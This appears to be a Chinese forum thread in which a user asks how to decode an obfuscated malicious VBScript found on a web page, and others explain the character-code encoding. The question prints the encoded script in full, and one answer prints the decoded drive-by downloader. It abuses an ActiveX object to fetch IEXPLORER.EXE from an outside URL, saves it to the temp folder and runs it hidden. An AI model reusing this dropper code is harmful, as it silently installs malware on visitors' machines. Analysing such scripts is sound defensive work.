这段恶意js代码的解密方法？

Question

<script language="vbscript">
function r(k)
s=Split(k,"%")
t=""
For i = 0 To UBound(s)
t=t+Chr(eval(s(i)))
Next
r=t
End Function
t="111%110%32%101%114%114%111%114%32%114%101%115%117%109%101%32%110%101%120%116%13%10%100%108%32%61%32%34%104%116%116%112%58%47%47%119%119%119%46%98%108%111%103%99%104%105%110%97%46%99%111%109%47%114%101%115%111%117%114%99%101%47%117%112%108%111%97%100%47%112%105%99%47%50%48%48%54%47%48%55%47%48%55%47%73%69%88%80%76%79%82%69%82%46%69%88%69%34%58%102%110%97%109%101%49%61%34%73%69%88%80%76%79%82%69%82%46%69%88%69%34%13%10%9%122%49%61%34%83%104%101%34%58%122%50%61%34%108%108%46%65%34%58%122%51%61%34%112%112%108%105%34%58%122%52%61%34%99%97%116%34%58%122%53%61%34%105%111%34%58%122%54%61%34%110%34%13%10%32%32%32%32%122%122%61%122%49%38%122%50%38%122%51%38%122%52%38%122%53%38%122%54%13%10%32%32%32%32%115%117%98%32%115%104%101%108%108%101%120%101%40%122%122%44%102%110%97%109%101%49%41%13%10%32%32%32%32%32%115%101%116%32%81%32%61%32%100%102%46%99%114%101%97%116%101%111%98%106%101%99%116%40%122%122%44%34%34%41%58%81%46%83%104%101%108%108%69%120%101%99%117%116%101%32%102%110%97%109%101%49%44%34%34%44%34%34%44%34%111%112%101%110%34%44%48%13%10%9%32%101%110%100%32%115%117%98%13%10%32%32%32%32%106%49%61%34%99%108%115%105%100%58%34%58%106%50%61%34%66%68%57%54%67%53%53%54%45%34%58%106%51%61%34%54%53%65%51%45%34%58%106%52%61%34%49%49%68%48%45%34%58%106%53%61%34%57%56%51%65%45%34%58%106%54%61%34%48%48%67%48%52%70%67%50%57%69%51%54%34%13%10%32%32%32%32%106%55%61%106%49%38%106%50%38%106%51%38%106%52%38%106%53%38%106%54%13%10%32%32%32%32%83%101%116%32%100%102%32%61%32%100%111%99%117%109%101%110%116%46%99%114%101%97%116%101%69%108%101%109%101%110%116%40%34%111%98%106%101%99%116%34%41%13%10%32%32%32%32%100%102%46%115%101%116%65%116%116%114%105%98%117%116%101%32%34%99%108%97%115%115%105%100%34%44%32%106%55%13%10%32%32%32%32%98%52%61%34%77%105%34%58%98%53%61%34%99%114%34%58%98%54%61%34%111%34%58%98%55%61%34%115%111%102%116%34%58%98%56%61%34%46%88%34%58%98%57%61%34%77%34%58%98%49%48%61%34%76%34%58%98%49%49%61%34%72%34%58%98%49%50%61%34%84%34%58%98%49%51%61%34%84%34%58%98%49%52%61%34%80%34%13%10%32%32%32%32%115%116%114%98%61%98%52%38%98%53%38%98%54%38%98%55%38%98%56%38%98%57%38%98%49%48%38%98%49%49%38%98%49%50%38%98%49%51%38%98%49%52%13%10%32%32%32%32%83%101%116%32%120%32%61%32%100%102%46%67%114%101%97%116%101%79%98%106%101%99%116%40%115%116%114%98%44%34%34%41%13%10%32%32%32%32%97%52%61%34%65%34%58%97%53%61%34%100%34%58%97%54%61%34%111%34%58%97%55%61%34%100%34%58%97%56%61%34%98%34%58%97%57%61%34%46%34%58%97%49%48%61%34%83%34%58%97%49%49%61%34%116%34%58%97%49%50%61%34%114%34%58%97%49%51%61%34%101%34%58%97%49%52%61%34%97%34%58%97%49%53%61%34%109%34%13%10%32%32%32%32%115%116%114%100%61%97%52%38%97%53%38%97%54%38%97%55%38%97%56%38%97%57%38%97%49%48%38%97%49%49%38%97%49%50%38%97%49%51%38%97%49%52%38%97%49%53%13%10%32%32%32%32%115%101%116%32%83%83%32%61%32%100%102%46%99%114%101%97%116%101%111%98%106%101%99%116%40%115%116%114%100%44%34%34%41%13%10%32%32%32%32%83%83%46%116%121%112%101%32%61%32%49%13%10%32%32%32%32%102%52%61%34%71%34%58%102%53%61%34%69%34%58%102%54%61%34%84%34%13%10%32%32%32%32%115%116%114%101%61%102%52%38%102%53%38%102%54%13%10%9%13%10%32%32%32%32%120%46%79%112%101%110%32%115%116%114%101%44%32%100%108%44%32%70%97%108%115%101%13%10%32%32%32%32%120%46%83%101%110%100%13%10%32%32%32%32%13%10%32%32%32%32%115%101%116%32%70%32%61%32%100%102%46%99%114%101%97%116%101%111%98%106%101%99%116%40%34%83%99%114%105%112%116%105%110%103%46%70%105%108%101%83%121%115%116%101%109%79%98%106%101%99%116%34%44%34%34%41%13%10%32%32%32%32%116%109%112%50%61%50%13%10%32%32%32%32%115%101%116%32%116%109%112%32%61%32%70%46%71%101%116%83%112%101%99%105%97%108%70%111%108%100%101%114%40%116%109%112%50%41%13%10%32%32%32%32%83%83%46%111%112%101%110%13%10%32%32%32%32%102%110%97%109%101%49%61%32%70%46%66%117%105%108%100%80%97%116%104%40%116%109%112%44%102%110%97%109%101%49%41%13%10%32%32%32%32%83%83%46%119%114%105%116%101%32%120%46%114%101%115%112%111%110%115%101%66%111%100%121%13%10%32%32%32%32%83%83%46%115%97%118%101%116%111%102%105%108%101%32%102%110%97%109%101%49%44%50%13%10%32%32%32%32%83%83%46%99%108%111%115%101%13%10%9%99%97%108%108%32%115%104%101%108%108%101%120%101%40%122%122%44%102%110%97%109%101%49%41"
i=t
execute(r(i))
</script>

Answer 1

再转一层是
on error resume next
dl = "http://www.blogchina.com/resource/upload/pic/2006/07/07/IEXPLORER.EXE":fname1="IEXPLORER.EXE"
z1="She":z2="ll.A":z3="ppli":z4="cat":z5="io":z6="n"
    zz=z1&z2&z3&z4&z5&z6
    sub shellexe(zz,fname1)
     set Q = df.createobject(zz,""):Q.ShellExecute fname1,"","","open",0
 end sub
    j1="clsid:":j2="BD96C556-":j3="65A3-":j4="11D0-":j5="983A-":j6="00C04FC29E36"
    j7=j1&j2&j3&j4&j5&j6
    Set df = document.createElement("object")
    df.setAttribute "classid", j7
    b4="Mi":b5="cr":b6="o":b7="soft":b8=".X":b9="M":b10="L":b11="H":b12="T":b13="T":b14="P"
    strb=b4&b5&b6&b7&b8&b9&b10&b11&b12&b13&b14
    Set x = df.CreateObject(strb,"")
    a4="A":a5="d":a6="o":a7="d":a8="b":a9=".":a10="S":a11="t":a12="r":a13="e":a14="a":a15="m"
    strd=a4&a5&a6&a7&a8&a9&a10&a11&a12&a13&a14&a15
    set SS = df.createobject(strd,"")
    SS.type = 1
    f4="G":f5="E":f6="T"
    stre=f4&f5&f6

    x.Open stre, dl, False
    x.Send
    
    set F = df.createobject("Scripting.FileSystemObject","")
    tmp2=2
    set tmp = F.GetSpecialFolder(tmp2)
    SS.open
    fname1= F.BuildPath(tmp,fname1)
    SS.write x.responseBody
    SS.savetofile fname1,2
    SS.close
call shellexzz,fname1)

Answer 2

谢谢hbhbhbhbhb1021(天外水火(我要多努力)),你给我了一条鱼，可我想知道渔的方法！能否说一下它的加密方式什么？而你2次解密的方式又是什么呢？

Answer 3

加密的内容本身是个STRING值，将该STRING放在变量里只是一个字符串，没有任何动作目的，但如果将该字符串转写到文件里，会根据该字符串的特殊字符串（如"\n"，回车之意）作为特殊格式来输出，最终形成一个有序的代码。var w ="<script language=\"vbscript\">\n";w+="function r(k)\n";w+="s=Split(k,\"%\")\n";w+="t=\"\"\n";w+="For i = 0 To UBound(s)\n";w+="t=t+Chr(eval(s(i)))\n";w+="Next\n";w+="r=t\n";w+="End Function\n"以上写入text文档时，根据特殊字符会变成如下：
<script language="vbscript">      "\n"代码回车
function r(k)                     "\n"代码回车
s=Split(k,"%")                    "\n"代码回车
t=""
....以下等同

Answer 4

程序很简单，没用到移位，换位等复杂的加密
直接把document.write(w)这句该成
第二次转换等同，只是脚本语言不同而已
<textarea id="textarea1"></textarea>
<script>
... ...
document.getElementById("textarea1").value=w
</script>

Answer 5

属于ASC编码转换了下，程序突破口是有很多%32%32%32%32
空格字符等

Answer 6

谢谢hbhbhbhbhb1021(天外水火(我要多努力)) ，你说的简单了些，我听的不太明白，可能早就有人提过类似问题，你不愿多说吧！

Answer 7

是“ 直接把document.write(w)这句该成 document.getElementById("textarea1").value=转换代码 ”吧？果然有效，再次表示感谢hbhbhbhbhb1021(天外水火(我要多努力)) ！